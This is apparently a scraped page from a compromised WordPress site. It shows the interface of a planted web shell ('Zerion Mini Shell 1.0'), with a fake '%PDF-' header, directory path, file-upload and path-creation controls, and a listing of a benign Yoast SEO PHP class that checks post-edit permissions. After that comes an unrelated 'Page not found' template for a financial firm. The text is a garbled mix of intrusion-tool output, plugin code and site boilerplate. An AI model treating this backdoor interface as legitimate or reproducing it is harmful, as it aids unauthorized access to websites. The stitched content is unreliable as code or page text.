%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom495844/wp-content/plugins/wordpress-seo/src/abilities/infrastructure/
Upload File :
Create Path :
Current File : /dom495844/wp-content/plugins/wordpress-seo/src/abilities/infrastructure/post-access-checker.php

<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Abilities\Infrastructure;

use WP_Error;
use Yoast\WP\SEO\Models\Indexable;

/**
 * Checks whether the current user may edit the posts behind indexables.
 *
 * The abilities are gated site-wide by a capability check, but that capability
 * must not grant access to posts the user could not otherwise edit. This
 * checker applies the exact per-post WordPress check, current_user_can( 'edit_post', $id ),
 * mirroring the bulk editor's access rules.
 */
class Post_Access_Checker {

	/**
	 * Ensures the current user may edit the given post.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return true|WP_Error True when the post is editable, or a 403 error.
	 */
	public function ensure_can_edit( int $post_id ) {
		if ( \current_user_can( 'edit_post', $post_id ) ) {
			return true;
		}

		return $this->forbidden_error();
	}

	/**
	 * Builds the 403 error for posts the current user may not edit.
	 *
	 * Mirrors WP core's rest_cannot_edit wording.
	 *
	 * @return WP_Error The forbidden error.
	 */
	public function forbidden_error(): WP_Error {
		return new WP_Error(
			'yoast_seo_cannot_edit_post',
			\__( 'Sorry, you are not allowed to edit this post.', 'wordpress-seo' ),
			[ 'status' => 403 ],
		);
	}

	/**
	 * Filters a list of post indexables down to the ones the current user may edit.
	 *
	 * @param Indexable[] $indexables The post indexables.
	 *
	 * @return Indexable[] The editable indexables, reindexed.
	 */
	public function filter_editable( array $indexables ): array {
		$editable = \array_filter(
			$indexables,
			static function ( $indexable ) {
				return \current_user_can( 'edit_post', (int) $indexable->object_id );
			},
		);

		return \array_values( $editable );
	}
}

Zerion Mini Shell 1.0
Page not found - Broad Street Financial
[et_pb_section fb_built=”1″ theme_builder_area=”post_content” _builder_version=”4.20.0″ _module_preset=”default”][et_pb_row _builder_version=”4.20.0″ _module_preset=”default” theme_builder_area=”post_content”][et_pb_column _builder_version=”4.20.0″ _module_preset=”default” type=”4_4″ theme_builder_area=”post_content”][et_pb_text _builder_version=”4.20.0″ _module_preset=”default” theme_builder_area=”post_content” hover_enabled=”0″ sticky_enabled=”0″]

Page Not Found

Sorry the requested page you are looking for is missing or has been moved.

Please check out our site and see if you can find what you are looking for.

[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section]